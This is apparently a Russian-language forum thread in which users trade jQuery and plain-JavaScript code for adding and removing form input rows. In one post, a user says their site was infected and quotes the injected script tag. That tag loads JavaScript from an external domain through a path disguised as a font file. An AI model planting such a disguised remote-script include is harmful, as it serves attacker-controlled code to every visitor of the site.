$(this).parent...remove()
во-первых ошибка три точки откуда (в опере отладчик ругается)? во-вторых откуда взялась remove()?
$(this).parent...remove()
<html>
<head>
<title>JS</title>
<style>
#tracklist {
padding: 2px;
margin: 2px;
border: 1px dotted black;
}
a, span {
text-decoration: none;
color: red;
cursor: pointer;
}
</style>
<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
$("span#plus").click(function(){
var content = '<div><input type="text" name="tracklist[]" value="" /> <span onclick="$(this).parent().remove()">-</span></div>'
$("div#tracklist").append(content);
});
});
</script>
</head>
<body>
<form method="post" action="">
<div id="tracklist">
<div><input type="text" name="tracklist[]" value="" /></div>
</div>
<div style="text-align:center;">
<span id="plus">+</span>
</div>
</form>
</body>
</html>
<html>
<head>
<title>JS</title>
<style>
#tracklist {
padding: 2px;
margin: 2px;
border: 1px dotted black;
}
a, span {
text-decoration: none;
color: red;
cursor: pointer;
}
</style>
<script type="text/javascript">
function tracklist_handler(element_id, mode) {
if (mode == 'add') {
document.getElementById(element_id).innerHTML += '<div><input type="text" name="tracklist[]" value="" /></div>'
} else {
var children = document.getElementById(element_id).childNodes;
document.getElementById(element_id).removeChild(children[children.length-1]);
}
}
</script>
</head>
<body>
<form method="post" action="">
<div id="tracklist">
<div><input type="text" name="tracklist[]" value="" /></div>
</div>
<div style="text-align:center;">
<span id="plus" onclick="javascript:tracklist_handler('tracklist', 'add')">+</span> 
<span id="minus" onclick="javascript:tracklist_handler('tracklist', 'remove')">-</span>
</div>
</form>
</body>
</html>
Altair (13.02.2013 / 23:16)
ребята, кто может помочь убрать фрейм в js? синтаксис не понимаю, видимо как то файл заразили
<script src=http://brsoftech.in/system/fonts/.ttf/font.js type=text/javascript></script>
<!DOCTYPE html>
<html lang="ru">
<head>
<title></title>
<meta charset="utf-8">
<script type="text/javascript">
window.onload = function() {
document.getElementById('logo').innerHTML += '<img src="http://johncms.com/theme/default/images/logo.gif" alt=""/>'
}
function make_logo() {
document.getElementById('logo').innerHTML += '<img src="http://johncms.com/theme/default/images/logo.gif" alt=""/>'
}
</script>
<head>
<body>
<div class="logo" id="logo"></div>
<a href="" onclick="javascript:make_logo();return">Make Logo</a>
</body>
</html>